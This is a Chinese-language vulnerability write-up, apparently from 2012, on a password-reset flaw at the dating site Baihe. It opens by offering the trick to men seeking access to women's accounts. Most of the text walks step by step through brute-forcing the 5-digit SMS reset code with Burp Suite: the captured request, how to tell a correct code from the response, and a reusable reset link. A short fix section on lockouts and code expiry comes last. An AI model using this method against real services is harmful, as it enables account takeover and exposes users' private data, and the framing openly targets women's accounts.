屌丝们,为了妹子们还在扫号么?还在撞库么?还在为了绕过图片验证码烦恼发愁么?光棍节即将到来,本人即将送上各大网站账号密码重置 漏洞 !
1.是百合的主站哦,进入百合网的账号登陆页面。当然我们这里不登陆,而是点击【忘记密码?】按钮,进入密码重置流程:
2.填写需要重置的账号,由于只是测试漏洞存在,这里只用了我自己的账号:
3.点击下一步,选择找回密码的方式为【注册手机找回】,当然如果认证了的话也可以选择【认证手机找回】:
4.已经给我的手机号发送了重置密码的短信码了(为了与图片验证码区别,这里成为短信码)
5.查看手机收到的短信码为【58474】,我首先输入任意的5位纯数字短信码12345,点击提交,则返回如下错误,记得此时设置好 浏览器 代理:
6.同时,看到的抓包请求为:
Host: passport.baihe测试数据
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Accept: text/javascript, application/javascript, */*
Referer: http://passport.baihe测试数据/forgotPwdByRegMobile.html
Accept-Encoding: gzip,deflate,sdch
上面的参数code=12345为短信码,而参数mobilenum=1*********9为手机号码。
7.写了那么多,开始吧:设置好参数code为需要爆破的参数,这里由于是测试我从59400开始暴力猜测
8.通过返回的字节数或者返回的内容得出正确的短信码:
从内容上判断,短信码错误时返回内容为:
HTTP/1.1 200 OK
Date: Fri, 09 Nov 2012 01:57:47 GMT
Connection: close
Expires: Sat, 10 Nov 2012 01:57:47 GMT
Content-Type: text/json;charset=gbk
jsonp1352425895961({"mobilenum":"1*********9","checkresult":"0"})
短信码正确时返回内容为:
HTTP/1.1 200 OK
Date: Fri, 09 Nov 2012 01:57:59 GMT
Connection: close
Expires: Sat, 10 Nov 2012 01:57:59 GMT
Content-Type: text/json;charset=gbk
jsonp1352425895961({"mobilenum":"1*********9","checkresult":"75526369","mobilenum_encode":"EEB0550021599CDD98D3CFC9C824665D","ed":"DCDDDFA8C838BA86065982CDB72D5B23BAC542E4842B3E9CE730A86357C964135967C4CFC05D0B2946673361B4D3F27839A6FD57ABFFE1B2C486C4E73739AD07"})
9.那么使用爆破完的短信码重置账号吧!
10.屌丝成功逆袭:
修复方案:
1.还有一个很严重的bug,一次取回账号长久可用,我的重置链接如下(怎么获得呢?),但是评估我的账号被恶意重置以及泄露个人信息的风险,隐去最后8位: HdhCmsTest2cto测试数据
http://passport.baihe测试数据/resetPwd. jsp ?ed=DCDDDFA8C838BA86065982CDB72D5B23BAC542E4842B3E9CE730A86357C964135967C4CFC05D0B2946673361B4D3F278D8EB391C7919F918003C9ACF********
只要拿了上述链接,不用走重置密码的流程即可重新更新密码;
2.5位纯数字短信码的爆破,即平均5万次的请求,我使用了burpsuite测试单台机器100线程,4分钟即可重置任意一个手机账号!危险啊
3.短信码可以为5位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?
查看更多关于百合网修改任意妹子账号密码漏洞及修复 - 网站的详细内容...